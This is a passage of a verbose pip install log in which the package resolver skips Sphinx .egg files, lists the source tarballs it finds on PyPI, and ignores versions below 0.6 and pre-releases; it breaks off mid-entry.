https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.2-py2.4.egg#md5=e6350b7f96b2583c8d9a6645c9f7c808 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.3-py2.4.egg#md5=3dc44613251d5bcf6232107ff28167a4 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.4-py2.4.egg#md5=243a3b65eed4b105b12920024d24a772 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.5-py2.4.egg#md5=3d5583eaa051928e775907b6d62d5507 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.6-py2.4.egg#md5=24febe083f05c4b5405c8955123247a0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.7-py2.4.egg#md5=f77624e49a3a2bf45d7262722cf51bbb (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0b1-py2.4.egg#md5=9aa988d8c46c7c82a5718a94c0320e8d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0b2-py2.4.egg#md5=33e874c6ce6f3a7b2f347d0aac0e0cd7 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61611-py2.5.egg#md5=87126910df4e7a790466edbb0722a8f2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61798-py2.5.egg#md5=9e1125b9c905ab5ce6a3d23429e90a4e (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61843-py2.5.egg#md5=607908a9693266fab3600a724961e0de (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61945-py2.5.egg#md5=8139b5a66e41202b362bac270eef26ad (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61950-py2.5.egg#md5=d13e2199a1fd0b68a7b54498f3ef5d38 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.2-py2.5.egg#md5=9ce78ce5207bad754cbcaf366098a583 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.3-py2.5.egg#md5=534d17b92cd0f4983d9689baec56effd (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4-py2.5.egg#md5=a01eec63f91ebfe381cf18fc082d015b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4.1-py2.5.egg#md5=a56928df371c489819a7c13a0db6cd3b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4.2-py2.5.egg#md5=19aa1e7adc360f920c6eda3eadfe99aa (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4.3-py2.5.egg#md5=23d2e03f93bb53c8ce33b2ed09c8129b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5-py2.5.egg#md5=265cd3a988309dd10c48347eff751b0f (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5.1-py2.5.egg#md5=c2bd07c30778948fb405dbe222f4231d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5.2-py2.5.egg#md5=6cc769347999dd5be4d4a25a09a8c01f (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5.2b1-py2.5.egg#md5=9713d0277a54174b74ea6f23195bfcc2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6-py2.5.egg#md5=e1d327ab9524a006179aef4155a0d7a0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.1-py2.5.egg#md5=97b2b41115ba6825e5a9908b43cdf518 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.2-py2.5.egg#md5=2ab5663b74eb7c654311696529e7b708 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.3-py2.5.egg#md5=e6af92a03efb5409b5200f94c2690962 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.4-py2.5.egg#md5=b9e637ba15a27b31b7f94b8809cdebe3 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.5-py2.5.egg#md5=b172e22f617ad8a0d179a528c52812d8 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.6-py2.5.egg#md5=d5b88b5c62feed95db3032bede5df580 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.7-py2.5.egg#md5=bc4bc8b2d2299d0221fc1ec0ab62c891 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6b1-py2.5.egg#md5=b877f156e5c4b22257c47873021da3d2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0-py2.5.egg#md5=13b1565f0c9c0bb681d0144f43a9dd45 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.1-py2.5.egg#md5=dc1ec6c5250b4d1d2df8a54098d5cdf6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.2-py2.5.egg#md5=2cebef2fe2f0da53b2e1087645ab1be2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.3-py2.5.egg#md5=aa933c45d57ec6b7c9cfd22cde508e2d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.4-py2.5.egg#md5=1ad7a6b7e53759ab0fdeb576ebed411c (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.5-py2.5.egg#md5=cc0008f8b7db3f40c759b25d38dabf02 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.6-py2.5.egg#md5=72f4365e790eda127234257646232451 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.7-py2.5.egg#md5=f1607f94e0431bad74fabd18366fdbbf (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0b1-py2.5.egg#md5=1be1de1c62193f90651a444d5f09cb85 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0b2-py2.5.egg#md5=6dc18901db3750c8cd1bfa732b21c982 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5-py2.6.egg#md5=151b2af3a2964cfc683334599eccd057 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5.1-py2.6.egg#md5=59194e8a28268fce3ee8e6a0d5dd1cf8 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5.2-py2.6.egg#md5=b52b3cd0cb23bad3517e65e6a8df13fd (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5.2b1-py2.6.egg#md5=d2850a73f7cf6984c94aa94471b8c71b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6-py2.6.egg#md5=20b277f865da261a7e297f3eb34fe94a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.1-py2.6.egg#md5=0c5baac650e48792124f71eabb0eb029 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.2-py2.6.egg#md5=ad7d9bac0a74de6b375603ef65bd182e (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.3-py2.6.egg#md5=5a3e6f4b5d972eb38968f91bf232265d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.4-py2.6.egg#md5=81bce271bc540628af466c3d51f1a603 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.5-py2.6.egg#md5=d1230f6d317a35770365f62225069259 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.6-py2.6.egg#md5=0c2e0d69172423a8c19a677c15824db0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.7-py2.6.egg#md5=a002502c36bc43fa58d14a7c4cb092c4 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6b1-py2.6.egg#md5=b7cc5643888d75152979e8a35630a3ff (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0-py2.6.egg#md5=6a031fc2efd61088ae23f2a337e324e6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.1-py2.6.egg#md5=b7d667a665adb45bcf89cd5396343dfc (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.2-py2.6.egg#md5=d476b596c2cdcfbfd1988a3d55d3bd16 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.3-py2.6.egg#md5=a7a9dfe6216269c94ce172e1269e885c (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.4-py2.6.egg#md5=acb1cc638ef1d66c4f769309c6f8f735 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.5-py2.6.egg#md5=b40aced6f1d0f9394e08337e578b0ae3 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.6-py2.6.egg#md5=0954c9dbff760571eb324f24ff01a52c (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.7-py2.6.egg#md5=a547658740040dd87ef71fbf723e7962 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.8-py2.6.egg#md5=e4d1d208ed1941734daaaa22d552971e (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0b1-py2.6.egg#md5=57f87ae87972a6c18b79460e657b9882 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0b2-py2.6.egg#md5=df36b39be3840ffc0fdda601ccda88bc (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.1-py2.6.egg#md5=cda477d5ebdcb4c7a09a99d18e44b2f7 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.1.2-py2.6.egg#md5=d35db7a8ee62dd55522bca523954baa9 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.1.3-py2.6.egg#md5=f0873b56630070f661ec3abc3eaf4457 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.0.6-py2.7.egg#md5=c856ea4f72c59404a85973acc58be3ab (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.0.7-py2.7.egg#md5=1321a3888d4fad656a5ede5838686e12 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.0.8-py2.7.egg#md5=57abc468af9746be933c3bcca0264d19 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1-py2.7.egg#md5=a80656d0fff7eaee79883baa67874d12 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1.1-py2.7.egg#md5=bb1c45e99fa2a74d9d631d3c2f31b608 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1.2-py2.7.egg#md5=14696ed66febb8ee3f12257a5f2e5973 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1.3-py2.7.egg#md5=83ee00b4f709d9597fc59a2dd673ee03 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.2b1-py2.7.egg#md5=60fbf057bc586dce8ceb55a404f5a9be (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.2b2-py2.7.egg#md5=ac1bc3a8cde2957c449399fdb7707436 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.2b3-py2.7.egg#md5=6b1ba0dddfb9cd0fabc09e6e4730f30a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61611.tar.gz#md5=24585c5dfcd3e7ea323eca0fe7e61a61 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61611 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61798.tar.gz#md5=d13c140bfd3db95d229d14b81fc4ec43 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61798 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61843.tar.gz#md5=69ab7befe60af790d24e22b4b46e8392 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61843 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61945.tar.gz#md5=6609629c809ce807b6d29733b2b09d55 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61945 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61950.tar.gz#md5=80524e9b55e016b61533aaf53eb88c88 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61950 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.2.tar.gz#md5=da32f97bb4f30d7e9e3afb50017072e0 (from https://pypi.python.org/simple/Sphinx/), version: 0.2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.3.tar.gz#md5=98550d222aec91a029c0921819c4c49f (from https://pypi.python.org/simple/Sphinx/), version: 0.3 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.1.tar.gz#md5=45eba5dcfc909241c7bce9d9bf96f2af (from https://pypi.python.org/simple/Sphinx/), version: 0.4.1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.2.tar.gz#md5=5fb591961e1d834f726b3e5d29bec924 (from https://pypi.python.org/simple/Sphinx/), version: 0.4.2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.3.tar.gz#md5=b3c17f1b5be0b76c373a2474488f1662 (from https://pypi.python.org/simple/Sphinx/), version: 0.4.3 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.tar.gz#md5=1ae14fab44f4bbb0f8d10b17e18be36b (from https://pypi.python.org/simple/Sphinx/), version: 0.4 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.1.tar.gz#md5=11456e362d75c1a4c5a5847921d3f4c7 (from https://pypi.python.org/simple/Sphinx/), version: 0.5.1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2.tar.gz#md5=277343796ca265942fec3baeefb14d3f (from https://pypi.python.org/simple/Sphinx/), version: 0.5.2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2b1.tar.gz#md5=1e97cd2bfa26a8079c3513493faf8b35 (from https://pypi.python.org/simple/Sphinx/), version: 0.5.2b1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.tar.gz#md5=55a33cc13b5096c8763cd4a933b30ddc (from https://pypi.python.org/simple/Sphinx/), version: 0.5 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.1.tar.gz#md5=fa1a32c406232a96a776de7dfae15032 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.2.tar.gz#md5=c8f79e171addc73342cc2e775dc78880 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.3.tar.gz#md5=b8ba063eeeaf818a7ea07fd28d9614a9 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.3 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.4.tar.gz#md5=a65e0bcff6f79a7c013220d00ea137ad (from https://pypi.python.org/simple/Sphinx/), version: 0.6.4 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.5.tar.gz#md5=86dd5dbd55cb44d1f8091a4a1c3743b2 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.5 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.6.tar.gz#md5=840f6dbbecbb4979a204909f5656c723 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.6 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.7.tar.gz#md5=54c3e4045ee4a4997a50c225f36e92fd (from https://pypi.python.org/simple/Sphinx/), version: 0.6.7 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.tar.gz#md5=b385027619d9042c98eebc8b352d9d48 (from https://pypi.python.org/simple/Sphinx/), version: 0.6 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6b1.tar.gz#md5=c2518f36c78edf87009897a9778ec36a (from https://pypi.python.org/simple/Sphinx/), version: 0.6b1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.1.tar.gz#md5=d3a57ffcf2592da494aeca4b62e815ef (from https://pypi.python.org/simple/Sphinx/), version: 1.0.1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.2.tar.gz#md5=004e475ba0efa56c5b51c69d7170881a (from https://pypi.python.org/simple/Sphinx/), version: 1.0.2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.3.tar.gz#md5=5ba14b33f74ac7bec558cfd842ca7437 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.3 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.4.tar.gz#md5=d4067e42e75525ecf108ece471ce97bb (from https://pypi.python.org/simple/Sphinx/), version: 1.0.4 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.5.tar.gz#md5=9c2cbfb4f520c49cedd10d0b26196832 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.5 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.6.tar.gz#md5=4cdb86c7bb7fa2498ac12db844784769 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.6 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.7.tar.gz#md5=42c722d48e52d4888193965dd473adb5 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.7 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.8.tar.gz#md5=6f9aace3f7e523ce55514eafa2764c6f (from https://pypi.python.org/simple/Sphinx/), version: 1.0.8 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.tar.gz#md5=173baed4a71355fc3c908da1f6ab4156 (from https://pypi.python.org/simple/Sphinx/), version: 1.0 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b1.tar.gz#md5=efe4e95ea02e1a7fbb19969632454f3f (from https://pypi.python.org/simple/Sphinx/), version: 1.0b1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b2.tar.gz#md5=6bf13da4fd0542cc85705d1c4abd3c0a (from https://pypi.python.org/simple/Sphinx/), version: 1.0b2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.1.tar.gz#md5=aee8d7afcbae569c96811aa692d1af2d (from https://pypi.python.org/simple/Sphinx/), version: 1.1.1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.2.tar.gz#md5=b65a5d5d6172f3dcfefb4770ec63926e (from https://pypi.python.org/simple/Sphinx/), version: 1.1.2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.3.tar.gz#md5=8f55a6d4f87fc6d528120c5d1f983e98 (from https://pypi.python.org/simple/Sphinx/), version: 1.1.3 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.tar.gz#md5=909927a2c0fe62e7ff5794387c8af34e (from https://pypi.python.org/simple/Sphinx/), version: 1.1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b1.tar.gz#md5=67bea6df63be8e2a76ebedc76d8f71a3 (from https://pypi.python.org/simple/Sphinx/), version: 1.2b1 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b2.tar.gz#md5=4cd81aac59d93a69278873e345fe99a5 (from https://pypi.python.org/simple/Sphinx/), version: 1.2b2 + + Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b3.tar.gz#md5=10d0bffdf01f0eddd57b9e0af0623457 (from https://pypi.python.org/simple/Sphinx/), version: 1.2b3 + + Skipping link http://sphinx-doc.org/ (from https://pypi.python.org/simple/Sphinx/); not a file + + Skipping link http://sphinx.pocoo.org/ (from https://pypi.python.org/simple/Sphinx/); not a file + + Found link http://bitbucket.org/birkenfeld/sphinx/get/tip.gz#egg=Sphinx-dev (from https://pypi.python.org/simple/Sphinx/), version: dev + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61611.tar.gz#md5=24585c5dfcd3e7ea323eca0fe7e61a61 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61611 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61798.tar.gz#md5=d13c140bfd3db95d229d14b81fc4ec43 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61798 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61843.tar.gz#md5=69ab7befe60af790d24e22b4b46e8392 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61843 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61945.tar.gz#md5=6609629c809ce807b6d29733b2b09d55 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61945 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61950.tar.gz#md5=80524e9b55e016b61533aaf53eb88c88 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61950 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.2.tar.gz#md5=da32f97bb4f30d7e9e3afb50017072e0 (from https://pypi.python.org/simple/Sphinx/), version 0.2 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.3.tar.gz#md5=98550d222aec91a029c0921819c4c49f (from https://pypi.python.org/simple/Sphinx/), version 0.3 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.1.tar.gz#md5=45eba5dcfc909241c7bce9d9bf96f2af (from https://pypi.python.org/simple/Sphinx/), version 0.4.1 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.2.tar.gz#md5=5fb591961e1d834f726b3e5d29bec924 (from https://pypi.python.org/simple/Sphinx/), version 0.4.2 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.3.tar.gz#md5=b3c17f1b5be0b76c373a2474488f1662 (from https://pypi.python.org/simple/Sphinx/), version 0.4.3 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.tar.gz#md5=1ae14fab44f4bbb0f8d10b17e18be36b (from https://pypi.python.org/simple/Sphinx/), version 0.4 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.1.tar.gz#md5=11456e362d75c1a4c5a5847921d3f4c7 (from https://pypi.python.org/simple/Sphinx/), version 0.5.1 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2.tar.gz#md5=277343796ca265942fec3baeefb14d3f (from https://pypi.python.org/simple/Sphinx/), version 0.5.2 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2b1.tar.gz#md5=1e97cd2bfa26a8079c3513493faf8b35 (from https://pypi.python.org/simple/Sphinx/), version 0.5.2b1 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.tar.gz#md5=55a33cc13b5096c8763cd4a933b30ddc (from https://pypi.python.org/simple/Sphinx/), version 0.5 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6b1.tar.gz#md5=c2518f36c78edf87009897a9778ec36a (from https://pypi.python.org/simple/Sphinx/), version 0.6b1 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b1.tar.gz#md5=efe4e95ea02e1a7fbb19969632454f3f (from https://pypi.python.org/simple/Sphinx/), version 1.0b1 is a pre-release (use --pre to allow). + + Ignoring link 